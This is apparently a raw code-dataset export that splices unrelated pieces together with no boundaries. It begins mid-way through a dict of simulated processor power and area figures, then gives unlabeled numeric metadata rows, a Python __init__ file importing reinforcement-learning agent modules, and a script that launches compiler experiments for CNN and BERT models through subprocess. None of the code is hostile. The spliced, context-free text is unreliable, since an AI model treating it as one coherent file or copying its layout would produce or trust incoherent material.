Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 2.12412e-05, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 1.85245e-05, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 7.18396e-06, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000843257, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000904264, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000202822, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0564316, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 3.58953, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.138871, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.191667, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 5.98225, 'Instruction Fetch Unit/Runtime Dynamic': 0.388077, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0398849, 'L2/Runtime Dynamic': 0.0110094, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.61797, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.15672, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0770262, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0770263, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 3.98171, 'Load Store Unit/Runtime Dynamic': 1.61362, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.189933, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.379867, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.067408, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0679909, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.223184, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0228137, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.495088, 'Memory Management Unit/Runtime Dynamic': 0.0908046, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 19.1902, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.308622, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0122936, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0906336, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.411549, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 4.47699, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.143943, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.315748, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.82782, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.300495, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.484688, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.244654, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.02984, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.216762, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.67682, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.156393, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0126041, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.142981, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0932152, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.299374, 'Execution Unit/Register Files/Runtime Dynamic': 0.105819, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.337215, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.759372, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.61615, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000561173, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000561173, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00049239, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000192586, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00133904, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00295378, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00525152, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0896102, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 5.69997, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.185189, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.304356, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.19512, 'Instruction Fetch Unit/Runtime Dynamic': 0.58736, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0331364, 'L2/Runtime Dynamic': 0.00690468, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.73908, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.20438, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0809444, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0809443, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 4.12132, 'Load Store Unit/Runtime Dynamic': 1.68451, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.199595, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.39919, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0708369, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0713315, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.354403, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0303674, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.632198, 'Memory Management Unit/Runtime Dynamic': 0.101699, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 22.2481, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.411399, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0185642, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.145542, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.575505, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 5.57213, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}], 'DRAM': {'Area': 0, 'Gate Leakage': 0, 'Peak Dynamic': 3.8520256364402035, 'Runtime Dynamic': 3.8520256364402035, 'Subthreshold Leakage': 4.252, 'Subthreshold Leakage with power gating': 4.252}, 'L3': [{'Area': 61.9075, 'Gate Leakage': 0.0484137, 'Peak Dynamic': 0.210023, 'Runtime Dynamic': 0.0651955, 'Subthreshold Leakage': 6.80085, 'Subthreshold Leakage with power gating': 3.32364}], 'Processor': {'Area': 191.908, 'Gate Leakage': 1.53485, 'Peak Dynamic': 81.4763, 'Peak Power': 114.589, 'Runtime Dynamic': 18.7775, 'Subthreshold Leakage': 31.5774, 'Subthreshold Leakage with power gating': 13.9484, 'Total Cores/Area': 128.669, 'Total Cores/Gate Leakage': 1.4798, 'Total Cores/Peak Dynamic': 81.2663, 'Total Cores/Runtime Dynamic': 18.7123, 'Total Cores/Subthreshold Leakage': 24.7074, 'Total Cores/Subthreshold Leakage with power gating': 10.2429, 'Total L3s/Area': 61.9075, 'Total L3s/Gate Leakage': 0.0484137, 'Total L3s/Peak Dynamic': 0.210023, 'Total L3s/Runtime Dynamic': 0.0651955, 'Total L3s/Subthreshold Leakage': 6.80085, 'Total L3s/Subthreshold Leakage with power gating': 3.32364, 'Total Leakage': 33.1122, 'Total NoCs/Area': 1.33155, 'Total NoCs/Gate Leakage': 0.00662954, 'Total NoCs/Peak Dynamic': 0.0, 'Total NoCs/Runtime Dynamic': 0.0, 'Total NoCs/Subthreshold Leakage': 0.0691322, 'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
75.078775
124
0.682026
8,090
68,622
5.779234
0.067738
0.12354
0.112932
0.093425
0.939535
0.931043
0.918617
0.886748
0.86168
0.842281
0
0.131859
0.224287
68,622
914
125
75.078775
0.746464
0
0
0.642232
0
0
0.657287
0.048089
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d09dcb67cae1ed3b93e1315b2513842566ec8591
151
py
Python
agents/__init__.py
best99317/Deep-RL-Package
8a6fe4d80c3ab12d062d6aeecac5a50ac5144aad
[ "MIT" ]
1
2020-11-23T13:01:50.000Z
2020-11-23T13:01:50.000Z
agents/__init__.py
best99317/Deep-RL-Package
8a6fe4d80c3ab12d062d6aeecac5a50ac5144aad
[ "MIT" ]
null
null
null
agents/__init__.py
best99317/Deep-RL-Package
8a6fe4d80c3ab12d062d6aeecac5a50ac5144aad
[ "MIT" ]
null
null
null
from .Agent import * from agents.VPG import * from agents.NPG import * from agents.TRPO import * from agents.HTRPO import * from agents.ReFER import *
21.571429
26
0.761589
23
151
5
0.391304
0.434783
0.695652
0
0
0
0
0
0
0
0
0
0.15894
151
6
27
25.166667
0.905512
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
d0bd96863095c1bec755a2a1770be6f0a0ed0d5f
14,262
py
Python
run_experiments.py
yuezuegu/sosa-compiler
32384c221781f724cfc67c82ac3855d381eea22d
[ "MIT" ]
null
null
null
run_experiments.py
yuezuegu/sosa-compiler
32384c221781f724cfc67c82ac3855d381eea22d
[ "MIT" ]
null
null
null
run_experiments.py
yuezuegu/sosa-compiler
32384c221781f724cfc67c82ac3855d381eea22d
[ "MIT" ]
null
null
null
import os import time from datetime import datetime import subprocess import itertools import numpy as np NO_PROCS = 32 running_procs = [] def is_proc_ended(proc): retcode = proc.poll() if retcode is not None: # Process finished. print("Process {} ended with code {}".format(proc.pid, retcode)) if retcode != 0: print("FAILED: Return code is not 0") return True else: return False def wait_for_proc_limit(running_procs): while True: for proc in running_procs: if (is_proc_ended(proc)): running_procs.remove(proc) if len(running_procs) < NO_PROCS: #Block if there is more than x number of running threads return running_procs time.sleep(.1) def wait_all_finish(running_procs): while True: for proc in running_procs: if (is_proc_ended(proc)): running_procs.remove(proc) if len(running_procs) == 0: return running_procs time.sleep(.1) def date_minute(): return datetime.now().strftime("%Y_%m_%d-%H_%M") def date_second(): return datetime.now().strftime("%Y_%m_%d-%H_%M_%S") def date_millisecond(): return datetime.now().strftime("%Y_%m_%d-%H_%M_%S_%f")[:-3] def memory_experiment(): start = time.time() exp_dir = "experiments/run-{}".format(date_second()) os.system("mkdir -p {}".format(exp_dir)) BATCH_SIZE = 1 IMSIZE = 299 ARRAY_SIZE = (32, 32) NO_ARRAY = 128 BANK_SIZE = 262144 cnn_models = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"] cnn_models = list(itertools.product(cnn_models, [1])) bert_models = ["bert_tiny", "bert_small", "bert_medium", "bert_base", "bert_large"] no_seqs = [100] bert_models = list(itertools.product(bert_models, no_seqs)) INTERCONN = "banyan_exp_1" #for MEMORY_BW in [400, 800, 1200, 1600, 2000]: for MEMORY_BW in [1200]: for MODEL,SENTENCE_LEN in cnn_models + bert_models: OUT_DIR = exp_dir + "/" + date_millisecond() os.mkdir(OUT_DIR) cmd1 = f'python precompiler/precompile.py \ --model {MODEL} \ --batch_size {BATCH_SIZE} \ --sentence_len {SENTENCE_LEN} \ --imsize {IMSIZE} \ --array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \ --out_dir {OUT_DIR}' \ cmd2 = f"./build-Release/compiler_st \ -r {ARRAY_SIZE[0]} \ -c {ARRAY_SIZE[1]} \ -N {NO_ARRAY} \ -M {MEMORY_BW} \ -S {BANK_SIZE} \ -I {INTERCONN} \ -d {OUT_DIR}" cmd = cmd1 + " && " + cmd2 p = subprocess.Popen(cmd, shell=True) print("process: {} ".format(p.pid), cmd) 